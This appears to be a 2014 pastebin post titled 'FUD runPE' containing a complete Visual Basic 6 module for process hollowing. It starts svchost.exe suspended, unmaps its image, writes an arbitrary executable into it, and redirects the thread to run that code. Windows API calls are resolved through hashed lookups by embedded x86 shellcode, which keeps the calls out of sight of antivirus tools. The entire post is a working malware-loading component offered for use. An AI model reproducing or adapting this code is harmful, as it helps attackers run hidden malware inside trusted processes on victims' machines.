2014 FUD runPE by cheguevara


SUBMITTED BY: Guest

DATE: Feb. 23, 2014, 10:43 p.m.

FORMAT: Text only

SIZE: 6.5 kB

HITS: 1071

  1. Attribute VB_Name = "Module1"
  2. Option Explicit
  3. Option Base 0
  4. Private Type DWORD_L
  5. D1 As Long
  6. End Type
  7. Private Type DWORD_B
  8. B1 As Byte: B2 As Byte
  9. B3 As Byte: B4 As Byte
  10. End Type
  11. 'USER32
  12. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
  13. Private bInitialized_Inv As Boolean
  14. Private ASM_gAPIPTR(170) As Byte
  15. Private ASM_cCODE(255) As Byte
  16. Private Const KERNEL32 As String = "KERNEL32"
  17. Private Const NTDLL As String = "NTDLL"
  18. 'RunPE
  19. Public Function Populate(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
  20. Dim hModuleBase As Long
  21. Dim hPE As Long
  22. Dim hSec As Long
  23. Dim ImageBase As Long
  24. Dim i As Long
  25. Dim tSTARTUPINFO(16) As Long
  26. Dim tPROCESS_INFORMATION(3) As Long
  27. Dim tCONTEXT(50) As Long
  28. hModuleBase = VarPtr(bvBuff(0))
  29. If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
  30. hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
  31. If Not GetNumb(hPE) = &H4550 Then Exit Function
  32. ImageBase = GetNumb(hPE + &H34)
  33. tSTARTUPINFO(0) = &H44
  34. 'CreateProcessW@KERNEL32
  35. Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
  36. 'NtUnmapViewOfSection@NTDLL
  37. Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
  38. 'NtAllocateVirtualMemory@NTDLL
  39. Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
  40. 'NtWriteVirtualMemory@NTDLL
  41. Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
  42. For i = 0 To GetNumb(hPE + &H6, 2) - 1
  43. hSec = hPE + &HF8 + (&H28 * i)
  44. 'NtWriteVirtualMemory@NTDLL
  45. Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
  46. Next i
  47. tCONTEXT(0) = &H10007
  48. 'NtGetContextThread@NTDLL
  49. Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
  50. 'NtWriteVirtualMemory@NTDLL
  51. Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
  52. tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)
  53. 'NtSetContextThread@NTDLL
  54. Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
  55. 'NtResumeThread@NTDLL
  56. Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
  57. hProcess = tPROCESS_INFORMATION(0)
  58. Populate = True
  59. End Function
  60. Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
  61. 'NtWriteVirtualMemory@NTDLL
  62. Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
  63. End Function
  64. Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
  65. Dim vItem As Variant
  66. Dim bsTmp As DWORD_B
  67. Dim lAPI As Long
  68. Dim i As Long
  69. Dim w As Long
  70. If Not bInitialized_Inv Then
  71. For i = 0 To 170
  72. ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
  73. &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
  74. Next i
  75. i = 0
  76. bInitialized_Inv = True
  77. End If
  78. lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
  79. If lAPI Then
  80. For w = UBound(vParams) To LBound(vParams) Step -1
  81. bsTmp = SliceLong(CLng(vParams(w)))
  82. '// PUSH ADDR
  83. Call PutByte(&H68, i)
  84. Call PutByte(bsTmp.B1, i): Call PutByte(bsTmp.B2, i)
  85. Call PutByte(bsTmp.B3, i): Call PutByte(bsTmp.B4, i)
  86. Next w
  87. bsTmp = SliceLong(lAPI)
  88. '// MOV EAX, ADDR
  89. Call PutByte(&HB8, i)
  90. Call PutByte(bsTmp.B1, i): Call PutByte(bsTmp.B2, i)
  91. Call PutByte(bsTmp.B3, i): Call PutByte(bsTmp.B4, i)
  92. '// CALL EAX
  93. Call PutByte(&HFF, i): Call PutByte(&HD0, i)
  94. '// RET
  95. Call PutByte(&HC3, i)
  96. Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
  97. End If
  98. End Function
  99. Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
  100. ASM_cCODE(iCounter) = bByte
  101. iCounter = iCounter + 1
  102. End Sub
  103. Private Function SliceLong(ByVal lLong As Long) As DWORD_B
  104. Dim tL As DWORD_L
  105. tL.D1 = lLong
  106. LSet SliceLong = tL
  107. End Function
  108. Private Sub Main()
  109. Dim x() As Byte
  110. Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
  111. ReDim x(0 To LOF(1) - 1)
  112. Get #1, , x
  113. Close #1
  114. Call Populate(x, Environ$("WINDIR") & "\SYSTEM32\svchost.exe")
  115. End Sub

comments powered by Disqus